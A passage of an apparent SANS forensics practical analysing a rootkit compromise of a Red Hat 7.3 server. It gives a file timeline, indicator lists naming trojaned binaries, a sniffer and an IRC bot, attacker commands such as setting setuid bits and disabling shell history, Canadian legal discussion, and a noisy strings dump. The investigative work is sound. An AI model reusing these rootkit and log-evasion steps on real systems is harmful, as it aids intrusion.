<td>/mnt/linux73/sbin/userhelper</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>68863</td>
<td>Apr 1 2002</td>
</tr>
<tr>
<td>/mnt/linux73/sbin/usernetctl</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>35327</td>
<td>Apr 1 2002</td>
</tr>
<tr>
<td>/mnt/linux73/sbin/userhelper</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>19116</td>
<td>Apr 8 2002</td>
</tr>
<tr>
<td>/mnt/linux73/sbin/pwdb_ckpwwd</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>120264</td>
<td>Apr 9 2002</td>
</tr>
<tr>
<td>/mnt/linux73/sbin/unix_ckpwwd</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>16992</td>
<td>Apr 9 2002</td>
</tr>
<tr>
<td>/mnt/linux73/sbin/suexec</td>
<td>root</td>
<td>root</td>
<td>rwsr-xr-x</td>
<td>242909</td>
<td>Jun 29 2002</td>
</tr>
</tbody>
</table>
```
The highlighted line for both setuid and setgid shows the nfsd file, installed with the root kit having both setuid and setgid bits set. See Appendix F for the complete EnCase report.

### 2.6. Timeline Analysis

Time line analysis was done using a combination of EnCase, mac_robber and the unix find command. The Modified, Access and Change times are selectable within EnCase. The timeline export within EnCase produced a file too large to import into Excel and sort. EnCase allows for easy sorting on any of the three times or combinations of the three. To provide a sortable file, the dd image was mounted and both mac_robber and find commands were used to produce timeline files. The following command was used to create a ctime (change time) timeline file:

```
find /mnt/linux73/root -printf "%C@ \t%h/%f\n" | sort > outputfile.txt
```

The adjusted to local times listed below are based on the EnCase Timeline analysis. The time on the /mnt/linux73/lost+found file indicated the last written and modified time as 11:30:53 time as seen in Figure 18.

![EnCase Forensic Edition](image)

**Figure 18 Time alignment EnCase**

The 1056043853 time is based on the number of seconds after Jan 1, 1970. The key events are displayed below with both times:
OS install start Jun 19, 2003 18:30:53 => Adjusted to local time 11:30:53

1056043853 /mnt/linux73/lost+found

OS install complete Jun 20 2003 09:31:35 => Adjusted to local 02:31:35

1056097895 /mnt/linux73/root/install.log
.
.
1056882120 /mnt/linux73/var/spool/anacron/cron.weekly

COMPROMISE STARTS HERE -> ------------------------------------------------

Date is Jun 29, 2003 22:11:59 => Adjusted to local 15:11:59

1056921119 /mnt/linux73/tmp/.s/.laddr
1056921119 /mnt/linux73/tmp/.s/.lfile
1056921119 /mnt/linux73/tmp/.s/.llogz
1056921119 /mnt/linux73/tmp/.s/.lproc
1056921119 /mnt/linux73/tmp/.s/mpstree
1056921119 /mnt/linux73/tmp/.s/nfsd/nfsdi
1056921119 /mnt/linux73/tmp/.s/nfsd/sshd_config
1056921119 /mnt/linux73/tmp/.s/nfsd/xxh_h
1056921119 /mnt/linux73/tmp/.s/nfsd/xxh_r
1056921119 /mnt/linux73/tmp/.s/p.ssh
1056921119 /mnt/linux73/tmp/.s/sshd/init.sshd
1056921119 /mnt/linux73/tmp/.s/sshd/sshd_config
1056921119 /mnt/linux73/tmp/.s/sshd/sshd-install
1056921119 /mnt/linux73/tmp/.s/sshd/ssh_host_key

Date is Jun 29, 2003 22:20:00 => Adjusted to local 15:22:00

1056921600 /mnt/linux73/var/log/cron

Date is Jun 29, 2003 22:22:04 => Adjusted to local 15:22:04

1056921724 /mnt/linux73/bin/ps
1056921724 /mnt/linux73/etc/rc.d/init.d/sshd
1056921724 /mnt/linux73/usr/sbin/sshd

Date is Jun 29, 2003 22:22:05 => Adjusted to local 15:22:05

1056921725 /mnt/linux73/var/log/messages

Date is Jun 29, 2003 22:22:06 => Adjusted to local 15:22:06

1056921726 /mnt/linux73/dev/log

Date is Jun 29, 2003 22:22:07 => Adjusted to local 15:22:07

1056921727 /mnt/linux73/dev/ttyoa
1056921727 /mnt/linux73/dev/ttyof
1056921727 /mnt/linux73/dev/ttyop
The install script from s.tar.gz is running. The install script calls the mpstree script with the line "sh mpstree", then the mpstree script calls the p.ssh script with the line "/p.ssh". The "p.ssh" script creates the /x directory with the line "mkdir -p $D", the $D variable is set to"/x" one line before. The libgc.so library and the popauth executable are placed by the p.ssh script

The mpstree script modifies the /etc/rc.d/rc.sysinit script and runs the weit executable. The weit executable calls the popauth executable. Popauth listens on https, http, and UDP 3049. Popauth and other binaries are infected with the Linux.Jac.8759 virus. See EnCase report on virus infected files. 739 files, including rc.sysint have ctimes (change time) of 1056921729.

EnCase was used to order the files based on last modified time.
Looking at the EnCase modified time sort we see the mech.pid file, (Trojaned IRC server) established at 15:32:59. The mkdir time 15:39:41 (03:39:21) shows us the last trojaned command being put in place. The samba.tgz file is the file downloaded during the nfsd (trojaned ssh running on port 18) session. The time for this was 15:41:42 (03:41:42). Outgoing attacks are initiated. Our suspect mistypes and forgets to stop the .bash_history file from logging. It, along with the sebek log provide evidence on the exact commands typed.

The hostname file had it’s mtime and ctime changed at 16:59:16. One of the commands run during the attacks was ‘netstat’. The ‘netstat’ command was one of the files successfully trojaned. The ‘netstat’ command was exported and the Norton anti-virus program showed the file contained the Linux.RST.B virus. The ‘hostname’ file was exported and it also had the virus. The running of the trojaned netstat command infected the hostname file causing the change in mtime and ctime.

The next mtime written is for .bash_history at 17:21:23 and the xxh_r (trojaned ssh daemon nfsd random seed file) time at 17:25:23. The lpd.usr (19:00:27) and MrIdiot.seen (19:10:27) files are both used for the IRC BOT server. The last inbound
connection to the IRC server is shown in the tcpdump log output below.

```
16:52:24.823540 195.54.102.4.6667 > 192.168.2.15.1143: P 28727:28812(85) ack 1171 win 2896
<nop,nop.timestamp 120259573 53659921> (DF)
```

### 2.7. Recover Deleted Files

As indicated the log server file for the Jun 29 date were not immediately obtained. The log file rotation was set to rotate every week, retaining only 4 weeks before being written over. By the time the error was uncovered the logging event for June 29, had been overwritten. To recover events from the Jun 29 time period a dd image was taken of the drive, see Tag #3. The dd image of the var partition was acquired into EnCase and a search expression for “Jun 29” was created. See Figure 20.

![Figure 20. EnCase keyword string input](image)

The results of the search string are shown by selecting Search Hits. To export the deleted data into a file, the selection is highlighted by dragging the cursor or right clicking and selecting export. Under export you have options to enter the ranges you wish to export to a file. Figure 21 shows the search string found in Unallocated Clusters. The data start and length was used to export the deleted log data to an output file.
Other data recovery was done using tcpflow on the tcpdump data streams from the log evidence gathered from tag item #3.

The syntax for recovering the data streams through these sessions was:

```
#> tcpflow -r tcpdump.log.1056866401 port 1058
```

The output is two streams:

```
XXX.XXX.119.141.00080-192.168.002.015.01058
192.168.002.015.01058-XXX.XXX.119.141.00080
```

Editing out the http header information from the first stream left the "r" binary file that was used to elevate privileges to root on the system.
2.8. **String Search**

From the live response, log analysis, and media analysis keywords were identified. The lists below were compiled throughout the analysis. As shown above, the string search for Jun 29 on the "/var" partition provided supporting evidence on the timing of events and the nature of the activity.

The keywords from live response were compiled based on the difference in a live response run on a normal system and the live response run on the compromised Linux 7.3 server. The keywords were used to narrow the search parameters and target the analysis. This string search / keyword search targeting saved time and narrowed the search for the facts.

**Live response**

**Keywords of interest**
- minilogd
- session_mm_apache0.sem
- weit
- popauth
- nfsd

**Paths of interest**
- /tmp/.s
- /.x

**Files of interest**
- /var/log/httpd/access_log
- /var/log/httpd/ssl_request_log
- /var/log/httpd/error_log
- /usr/bin/weit
- /var/run/httpd.mm.8124.sem
- /tmp/session_mm_apache0.sem
- /.x/popauth
- /dev/hdx1
- /usr/sbin/nfsd
- /tmp/.s/nfsd
- /sbin/sshd_config

**Other items of interest**
- Date processes started Jun 29
- Defunct processes
  - weit,
  - chmod +s /usr/sbin/nfsd,
  - chmod
  - mkdir
  - hostname
  - ls

**Log file analysis**

**Keywords of interest**
- s.tar.gz
- linsniffer
- .addr
Paths of interest
- /tmp/.s
- /tmp/.s/nfsd
- /tmp/.s/sshd
- /tmp/.font
- /tmp/.font/unix
- /tmp/.font/unix/.X11-pipe
- /.x

Files of interest
- r
- s.tar.gz
  .s/
  .s/du
  .s/killall
  .s/linsniffer
  .s/ls
  .s/netstat
  .s/ps
  .s/patree
  .s/vdir
  .s/top
  .s/.laddr
  .s/.logfile
  .s/.logz
  .s/.proc
  .s/xh_h
  .s/xh_r
  .s/nfsdi
  .s/init.sshd
  .s/popauth
  .s/weit

- bot.tar.gz
  .X11-pipe/.
  .X11-pipe/COPYING
  .X11-pipe/README
  .X11-pipe/VERSIONS
  .X11-pipe/Makefile
  .X11-pipe/mech.pid
  .X11-pipe/ldphelp
  .X11-pipe/randfiles/.
  .X11-pipe/randfiles/randaway.e
  .X11-pipe/randfiles/randinsult.e
  .X11-pipe/randfiles/randkicks.e
  .X11-pipe/randfiles/randnicks.e
  .X11-pipe/randfiles/randpickup.e

- samba.tgz
  ./samba/samba
  ./samba/solo
  ./samba/sys
2.9. Conclusions

The analysis of the logs and tools used provided some interesting insights into the subject. The initial connections showed some scripted activity, worm like. The subject scripts initially held the connection but dropped. The subject did not pay attention to the logging their own install script provided. If they had, they would have seen the fact the sniffer program was not completely installed.

Logging from the IRC sessions demonstrated the need to have bragging rights over how many machines someone has compromised.

```plaintext
:stockholm.SE.eu.Undernet.org 251 MrIdiot :There are 52305 users and 71548 invisible on 36 servers
:stockholm.SE.eu.Undernet.org 252 MrIdiot 79 :operator(s) online
:stockholm.SE.eu.Undernet.org 253 MrIdiot 213 :unknown connection(s)
:stockholm.SE.eu.Undernet.org 254 MrIdiot 46487 :channels formed
:stockholm.SE.eu.Undernet.org 255 MrIdiot :I have 9236 clients and 1 servers
:stockholm.SE.eu.Undernet.org NOTICE MrIdiot :Highest_connection_count: 9510 (9509 clients)
:stockholm.SE.eu.Undernet.org 375 MrIdiot :- stockholm.SE.eu.Undernet.org Message of the Day -
:stockholm.SE.eu.Undernet.org 372 MrIdiot :Type /MOTD to read the AUP before continuing using this service.
:stockholm.SE.eu.Undernet.org 372 MrIdiot :The message of the day was last changed: 2003-1-21 16:57
:stockholm.SE.eu.Undernet.org 376 MrIdiot :End of /MOTD command.
:stockholm.SE.eu.Undernet.org NOTICE MrIdiot :on 1 ca 1(4) ft 10(10) tr
WHOIS MrIdiot
:stockholm.SE.eu.Undernet.org 311 MrIdiot MrIdiot -Idiot XXX.XXX.5.35 * :Idiot
:stockholm.SE.eu.Undernet.org 312 MrIdiot MrIdiot stockholm.SE.eu.Undernet.org
:Bredbandsbolaget's IRC Server
:stockholm.SE.eu.Undernet.org 317 MrIdiot MrIdiot 0 1056922387 :seconds idle, signon time
:stockholm.SE.eu.Undernet.org 318 MrIdiot MrIdiot :End of /WHOIS list.
```

Our subject(s) are likely learning the ropes, and are attempting to prove themselves to others in their group by hacking into as many computers as possible. The suspect is not a detail person as seen in the mistyping of commands such as "unset HISTFILES" and doesn’t review his/her own install logs.

Improvements made to the Live Response procedure are;

- File listing has been changed from listing only the /proc file system to listing all files and directories recursively. Changed from ‘ls -al /proc’ to ‘ls -alR /’.
- A second file listing has been added that will parse out the inode listings for the file system. Added ‘ls -aliR /’.
3. Legal Issues of Incident Handling

3.1. Questions:

Question. Based upon the type of material John Price was distributing, what if any, laws have been broken based upon the distribution?

The reference to Ripped MP3 files at the various websites and the message to Mike are evidence of copyright infringement. The sections of the Canadian copyright law that would be applied to this are civil and criminal. In the “Copyright Act of Canada, Part IV – Remedies S.34,S35,S38.1” we find the following:

Civil Remedies

34. (1) Where copyright has been infringed, the owner of the copyright is, subject to this Act, entitled to all remedies by way of injunction, damages, accounts, delivery up and otherwise that are or may be conferred by law for the infringement of a right.

(2) In any proceedings for an infringement of a moral right of an author, the court may grant to the author or to the person who holds the moral rights by virtue of subsection 14.2(2) or (3), as the case may be, all remedies by way of injunction, damages, accounts, delivery up and otherwise that are or may be conferred by law for the infringement of a right.

(3) The costs of all parties in any proceedings in respect of the infringement of a right conferred by this Act shall be in the discretion of the court.

(4) The following proceedings may be commenced or proceeded with by way of application or action and shall, in the case of an application, be heard and determined without delay and in a summary way:

(a) proceedings for infringement of copyright or moral rights;
(b) proceedings taken under section 44.1, 44.2 or 44.4; and
(c) proceedings taken in respect of

(i) a tariff certified by the Board under Part VII or VIII, or
(ii) agreements referred to in section 70.12.

35. (1) Where a person infringes copyright, the person is liable to pay such damages to the owner of the copyright as the owner has suffered due to the infringement and, in addition to those damages, such part of the profits that the infringer has made from the infringement and that were

not taken into account in calculating the damages as the court considers just.

(2) In proving profits,

(a) the plaintiff shall be required to prove only receipts or revenues derived from the infringement; and

(b) the defendant shall be required to prove every element of cost that the defendant claims.

(c) in any other case, if the court is of the opinion that the interests of justice do not require the copyright owner to be a party

38.1 (1) Subject to this section, a copyright owner may elect, at any time before final judgment is rendered, to recover, instead of damages and profits referred to in subsection 35(1), an award of statutory damages for all infringements involved in the proceedings, with respect to any one work or other subject-matter, for which any one infringer is liable individually, or for which any two or more infringers are liable jointly and severally, in a sum of not less than $500 or more than $20,000 as the court considers just.

Depending on intent and cooperation the fines faced by the defendant in civil court can be expensive. The “Criminal Remedies” section carry not only fines but the added possibility of jail time. The section of the “Copyright Act” that applies to the Criminal aspect of Copyright infringement is “Copyright Act of Canada, Part IV – Remedies S.42”. In this section we find the statement “Every person who knowingly”. The factor that determines the pressing of Criminal charges would be “intent”. For our case we see intent in the letter written to Mike. The topic of discussion is on “advanced orders for the next run”. The actions being taken are deliberate, the factors that show they know it’s illegal and wrong are things like hiding the MP3 access sites in slack space of a file. The other factor is the alteration of the bmap source code. Below are some sections from the Criminal Remedies area of the Copyright Act of Canada:

**Criminal Remedies**

42. (1) Every person who knowingly

(a) makes for sale or rental an infringing copy of a work or other subject-matter in which copyright subsists,

(b) sells or rents out, or by way of trade exposes or offers for sale or rental, an infringing copy of a work or other subject-matter in which copyright subsists,

(c) distributes infringing copies of a work or other subject-matter in which copyright subsists, either for the purpose of trade or to such an extent as to affect prejudicially the owner of the copyright,

(d) by way of trade exhibits in public an infringing copy of a work or other subject-matter in which copyright subsists, or

---

(e) imports for sale or rental into Canada any infringing copy of a work or other subject-matter in which copyright subsists

is guilty of an offence and liable

(f) on summary conviction, to a fine not exceeding twenty-five thousand dollars or to imprisonment for a term not exceeding six months or to both, or

(g) on conviction on indictment, to a fine not exceeding one million dollars or to imprisonment for a term not exceeding five years or to both.

(4) Proceedings by summary conviction in respect of an offence under this section may be instituted at any time within, but not later than, two years after the time when the offence was committed.

If found guilty of a summary conviction under section 42 of the Copyright Act the suspect faces fines up to $25,000.00 and a jail term of 6 months. For a summary conviction there is a two year time limit. If you are convicted on indictment the fines are up to 1 million dollars and jail for up to 5 years.

Question. What would the appropriate steps be to take if you discovered this information on your systems?

The information on the system is a violation of the Copyright Act as indicated above. The information must be handled as any other evidence. The requirements for electronic evidence gathering are indicated in the Canada Evidence Act – Authentication of Electronic Documents – S.31.1, - Application of Best Evidence Rule-Electronic documents /printouts – S.31.2 and Presumption of Integrity – S.31.3. In accordance with the above sections the “burden of proving its authenticity” is required by the person wishing to admit the evidence. The evidence is required to support the claim that the document is what it claims to be.

The method used to gather the evidence must be verified. Note taking and using two people ensures there is independent verification and integrity of the evidence. The evidence gathering must include the identification and verification processes. The use of MD5 checksum hashes are meant to prove authenticity and integrity of the evidence. Placing the seized media into a secure area and using evidence bags initialed by the investigators maintains the evidence chain. The hardware write block device used for the image ensure the evidence is not modified.

The application of the best-evidence rule (S31.2) allows for the use of printout to be used as evidence of an electronic document. Printouts of evidence reports ensure its availability and provide backup in cases were the electronic media may be unavailable or destroyed.
**Question.** In the event your corporate counsel decides to not pursue the matter any further at this point, what steps should you take to ensure any evidence you collect can be admissible in proceedings in the future should the situation change?

To ensure the evidence gathered could be admissible in the future the same standards for evidence gathering that law enforcement uses would be applied. The evidence would be gathered by two people and documented. A live response would be conducted to ensure the running processes are recorded. Next, the box would be either shutdown properly or unplugged, depending on the type of Operating system being dealt with. The note taking by the two investigators must include dates, times, commands run, MD5 hashes of files and evidence gathered. Initializing of all evidence and the use of evidence bags that are sealed and initialed. All evidence gathered would be stored in a secure (locked) location.

Other provisions of the Criminal Code for gathering the evidence are covered in the Canada Evidence Act. The sections of interest are (31.1) Authentication of Electronic Documents, (31.2) Application of Best Evidence Rule-Electronic Documents and (S31.3) Presumption of Integrity. Refer to the section above.

**Question.** How would your actions change if your investigation disclosed that John Price was distributing child pornography?

Child pornography is a serious criminal offense. Corporate counsel would be advised then the authorities would be contacted immediately. The provisions in the Criminal Code of Canada provide clear guidelines on the action to be taken. (see Appendix G for complete listing of the Criminal Code of Canada pertaining to Child Pornography).

The Child pornography section of the Criminal Code of Canada is section 163.1. Item 3 under section 163.1 states:

(3) Every person who transmits, makes available, distributes, sells, imports, exports or possesses for the purpose of transmission, making available, distribution, sale or exportation any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

4) Every person who possesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or
(b) an offence punishable on summary conviction.

(4.1) Every person who accesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) an offence punishable on summary conviction.

The provisions in section 163.1 (3) allow the company hosting to be charged if immediate action is not taken.

The machine in question would be imaged following the forensic methodology outlined below.

- Two investigators present.
- Extensive note taking, including dates and times, commands run.
- MD5 checksums on the evidence.
- Strong chain of evidence through the use of evidence bags and initialed seals. Secure storage of all evidence.

The preference for who gathers the evidence would be to gather the evidence and wait for law enforcement to execute a proper Search warrant. To ensure due process law enforcement is required to obtain a search warrant under the Criminal Code of Canada, S.487 (1) a-c, and S.487(2.1) a-d & (2.2) a-c. It states:

487. (1) A justice who is satisfied by information on oath in Form 1 that there are reasonable grounds to believe that there is in a building, receptacle or place

(a) anything on or in respect of which any offence against this Act or any other Act of Parliament has been or is suspected to have been committed,

b) anything that there are reasonable grounds to believe will afford evidence with respect to the commission of an offence, or will reveal the whereabouts of a person who is believed to have committed an offence, against this Act or any other Act of Parliament,

(c) anything that there are reasonable grounds to believe is intended to be used for the purpose of committing any offence against the person for which a person may be arrested without warrant, or

may at any time issue a warrant authorizing a peace officer or a public officer who has been appointed or designated to administer or enforce a federal or provincial law and whose duties include...
the enforcement of this Act or any other Act of Parliament and who is named in the warrant.

(2.1) A person authorized under this section to search a computer system in a building or place for data may

(a) use or cause to be used any computer system at the building or place to search any data contained in or available to the computer system;

(b) reproduce or cause to be reproduced any data in the form of a print-out or other intelligible output;

(c) seize the print-out or other output for examination or copying; and

(d) use or cause to be used any copying equipment at the place to make copies of the data.

(2.2) Every person who is in possession or control of any building or place in respect of which a search is carried out under this section shall, on presentation of the warrant, permit the person carrying out the search

(a) to use or cause to be used any computer system at the building or place in order to search any data contained in or available to the computer system for data that the person is authorized by this section to search for;

(b) to obtain a hard copy of the data and to seize it; and

(c) to use or cause to be used any copying equipment at the place to make copies of the data. 12

Once the search warrant was executed by Law Enforcement the evidence would be turned over to Law Enforcement.

Appendices

Appendix A

Prog file strings listing

Strings dump - file prog, from Linux 7.3 VMware workstation.

PTRh        QVhx        h@=
\hK=        \h@=        0hT=
\h@=        0he=        8-tx
\h@=        \hK=        h!>
\h@=>        \hP>        0hm>
h$=        h$?        h-=
h??        h??        hH?
hH?        PhI?        hI?
hU?        h|?        h'?
hg?        h\?        hs?
h\?        Ph \?        hg\?
0h A        0h@A        0h B
0h B        0h&C        0h5C
0hDC        0hXC        0h_C
0hbC        hhC        0hnC
hzc        h, D        0h7D
0h`D        0h\_C        0hbC
hzc        h, D        0h-E
h8I        hdI        hxI
h) J        hCJ        h`J
h K        PhAK        PhHK
hLK        hbK        auK
hbK        huK        hbK
huK        PhHK        hHK
h L        h M        h:M
hkM        h\_M        RPSQ
RPSQ        [^_]        h\_N
I, RPSQ        h_N        p\@hxN
h8N        h\_M        h8O
heO        H^)        X^)
[^_]        [^_]        tY9u
}.;]        L[^_]        < v61
ug;}        s=;}        PSh|
[^_]        XZSV        VPVS
[^_]        [^_]        [^_]
<bt!<b        RPSW        /FBH-
[^_]        ;C tU        t$QVPS
PVRS        \S t<        [^_]
G +G        G +G        t;)
V +V        FDHP        [^_]
[^_]        t PS        VPQ
[^_]        VPRQ        ~\PVS
CDHP        [^_]        F0+V
[^_]        VSPQ)        ~\QVS
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
Kevin Miller - Sans GCFA Assignment – v1.4

© SANS Institute 2004, Author retains full rights.

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.

© SANS Institute 2004, Author retains full rights.

© SANS Institute 2004, Author retains full rights.

Kevin Miller - Sans GCFA Assignment – v1.4

Page 63

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.

© SANS Institute 2004, Author retains full rights.

© SANS Institute 2004, Author retains full rights.
invalid index %d
argv[%d] is NULL
argv[%d] (%s) is not an option
checking against %s
examining a filename or url!
flag-
matched against an enum val
flagized option invokation
examining a venum!
matched against an venum va:
tflag--flagized option invokation:
Any of the valid values for --flag can be supplied directly as options. For instance, --flag can be used in place of --flag--flag.
Usage: %s [OPTION]...
Kevin Miller - Sans GCFA Assignment –v1.4

Page 66

--%s <arg> %s
--%s <
--%s VALUE
<tt>%s</tt> invocation
</tt>

<descrip>

<tag>--%s</tag>

<tag>--%s &lt;int&gt;</tag>
%s
&gt;</tag> %s
</descrip>
operate on ...
progress
error
logging threshold ...
verbose
label
test for fragmentation
(returns 0 if file is
fragmented)
frag

<tag>--%s
&lt;filename&gt;</tag> %s
<tag>--%s VALUE</tag>
<tag>--%s</tag> %s
target
branch
fatal
log-thresh
name
write output to ...
checkfrag

ns

eta
i

rr

wipe the file from the raw
device
wipe
extract a copy from the raw
device
mode

,A

ut

ho

test (returns 0 if exist)
display data

tu

In

sti

filename: %s
multiple links.
file block size: %d
to allocate buffer

NS

target
%s has
target
Unable

SA

nul block while mapping
block %d.
write error

07/15/03
how did we get here?

©

stuffing block %d
%s has fragmentation
NULL value for slack_block
error getting block count
error mapping block %d.
ioctl failed with %s
unable to stat fd

© SANS Institute 2004,

Unable to stat file: %s
Unable to open file: %s
unable to raw open %s
%s has holes in excess of
%ld bytes...
seek failure
%s fragmented between %d and
%d
file size was: %ld
seek error

getting from block %d
block size: %d

print number of bytes
available
place data
list sector numbers
generate SGML invocation info
display options and exit
version
newt
A169
main4E46

20

04

generate man page and exit
display version and exit
1.0.20 (07/15/03)
2F94
998D FDB5 DE3D F8B5 06E4
prog

te

operation to perform on
files
sgml
help
autogenerate document ...
fingerprintknowledge
= AF19 FA27
useKey
block-list
to
perform special operations
on files
off_t too small!
try '--help' for help.

<tag>%s</tag> %s
%s:%s %s
entryexit
info
none
be verbose
useless bogus option
outfile
display fragmentation
information for the file

fu
ll r
igh

%s

--%s <int> %s
| %s
where VALUE is one of:
<tt>%s [&lt;OPTIONS&gt;]
Where <bf>OPTIONS</bf> may
include any of:
<tag>--%s &lt;arg&gt;</tag>
%s
<tag>--%s &lt;

ts.

--%s %s
--%s <filename> %s
> %s
%s %s
[&lt;%s-filename&gt;]

%s has slack
%s does not have
fragmentation
Unable to stat fd
fd has no blocks
error mapping block %d.
block returned 0
unable to determine

As part of GIAC practical repository.

invalid option: %s
no filename. try '--help' for
help.
%s is not a regular file.
Unable to determine blocksize
Unable to determine count
error mapping block %d (%s)
read error
%d %s
slack size: %d
# File: %s Location: %Ld
size: %d
%s does not have slack
bmap_get_slack_block
Unable to determine blocksize
mapping block %lu
bmap_get_block_count
filesystem reports 0

Author retains full rights.


filesystem blocksize: %d

bmap_map_block

NULL filename supplied

unable to determine raw device of %s

unable to open raw device %s

computed block count: %d

stat reports %d blocks: %d

null block while mapping block %d.

Unable to stat file: %s

%s is not a regular file.

device mismatch 0x%x != 0x%x

unable to stat raw device %s

raw fd is %d

bmap_raw_close

bogowipe

write error

/dev/xdb9
/dev/xdb63
/dev/xdb60
/dev/xdb58
/dev/xdb55
/dev/xdb52
/dev/xdb49
/dev/xdb46
/dev/xdb43
/dev/xdb40
/dev/xdb39
/dev/xdb36
/dev/xdb33
/dev/xdb30
/dev/xdb28
/dev/xdb25
/dev/xdb22
/dev/xdb17
/dev/xdb14
/dev/xdb11
/dev/xdb
/dev/xda9
/dev/xda61
/dev/xda59
/dev/xda56
/dev/xda53
/dev/xda50
/dev/xda48
/dev/xda45
/dev/xda42
/dev/xda4
/dev/xda37
/dev/xda34
/dev/xda31
/dev/xda29
/dev/xda26
/dev/xda23
/dev/xda20
/dev/xda18
/dev/xda15
/dev/xda12
/dev/xda1
/dev/sjcd
/dev/sdz9
/dev/sdz7
/dev/sdz4
/dev/sdz15

/.../image
/dev/xdb8
/dev/xdb6
/dev/xdb57
/dev/xdb54
/dev/xdb51
/dev/xdb48
/dev/xdb45
/dev/xdb42
/dev/xdb5
/dev/xdb38
/dev/xdb35
/dev/xdb32
/dev/xdb31
/dev/xdb3
/dev/xdb27
/dev/xdb24
/dev/xdb21
/dev/xdb19
/dev/xdb16
/dev/xdb13
/dev/xdb10
/dev/xda9
/dev/xda63
/dev/xda60
/dev/xda58
/dev/xda55
/dev/xda52
/dev/xda5
/dev/xda47
/dev/xda44
/dev/xda41
/dev/xda39
/dev/xda36
/dev/xda33
/dev/xda30
/dev/xda28
/dev/xda25
/dev/xda22
/dev/xda2
/dev/xda17
/dev/xda14
/dev/xda11
/dev/xda
dev/sonycd
dev/sjcd
dev/sdz9
dev/sdz6
/dev/sdz
/dev/sdz14
/dev/sdz13

bmap_get_block_size

bmap_raw_open

bmap_raw_close
/dev/sddn11 /dev/sddn10 /dev/sddn1
/dev/sddn /dev/sddm9 /dev/sddm8
/dev/sddm7 /dev/sddm6 /dev/sddm5
/dev/sddm4 /dev/sddm3 /dev/sddm2
/dev/sddm15 /dev/sddm14 /dev/sddm13
/dev/sddm12 /dev/sddm11 /dev/sddm10
/dev/sddm1 /dev/sddm /dev/sddm9
/dev/sdd18 /dev/sdd17 /dev/sdd16
/dev/sdd15 /dev/sdd14 /dev/sdd13
/dev/sdd12 /dev/sdd11 /dev/sdd11
/dev/sdd13 /dev/sdd12 /dev/sdd11
/dev/sdd10 /dev/sdd1 /dev/sdd1
/dev/sdd9 /dev/sdd8 /dev/sdd7
/dev/sdd6 /dev/sdd5 /dev/sdd4
/dev/sdd3 /dev/sdd2 /dev/sdd15
/dev/sdd14 /dev/sdd13 /dev/sdd12
/dev/sddj12 /dev/sddj11 /dev/sddj10
/dev/sddj1 /dev/sddj /dev/sddj9
/dev/sddi8 /dev/sddi7 /dev/sddi6
/dev/sddi5 /dev/sddi4 /dev/sddi3
/dev/sddi2 /dev/sddi1 /dev/sddi1
/dev/sddh9 /dev/sddh8 /dev/sddh7
/dev/sddh6 /dev/sddh5 /dev/sddh4
/dev/sddh3 /dev/sddh2 /dev/sddh1
/dev/sddh14 /dev/sddh13 /dev/sddh12
/dev/sddh11 /dev/sddh10 /dev/sddh1
/dev/sddh /dev/sddg9 /dev/sddg8
/dev/sddg7 /dev/sddg6 /dev/sddg5
/dev/sddg4 /dev/sddg3 /dev/sddg2
/dev/sddg15 /dev/sddg14 /dev/sddg13
/dev/sddg12 /dev/sddg11 /dev/sddg10
/dev/sddg1 /dev/sddg /dev/sddg9
/dev/sddf8 /dev/sddf7 /dev/sddf6
/dev/sddf5 /dev/sddf4 /dev/sddf3
/dev/sddf2 /dev/sddf15 /dev/sddf14
/dev/sddf13 /dev/sddf12 /dev/sddf11
/dev/sddf10 /dev/sddf9 /dev/sddf8
/dev/sddf7 /dev/sddf6 /dev/sddf5
/dev/sddf4 /dev/sddf3 /dev/sddf2
/dev/sddf1 /dev/sddf10 /dev/sddf9
/dev/sdde9 /dev/sdde8 /dev/sdde7
/dev/sdde6 /dev/sdde5 /dev/sdde4
/dev/sdde3 /dev/sdde2 /dev/sdde1
/dev/sdde14 /dev/sdde13 /dev/sdde12
/dev/sdde11 /dev/sdde10 /dev/sdde9
/dev/sdde8 /dev/sdde7 /dev/sdde6
/dev/sddc9 /dev/sddc8 /dev/sddc7
/dev/sddc6 /dev/sddc5 /dev/sddc4
/dev/sddc3
<table>
<thead>
<tr>
<th>Device</th>
<th>Device</th>
<th>Device</th>
</tr>
</thead>
<tbody>
<tr>
<td>/dev/sdcs7</td>
<td>/dev/sdcs6</td>
<td>/dev/sdcs5</td>
</tr>
<tr>
<td>/dev/sdcs4</td>
<td>/dev/sdcs3</td>
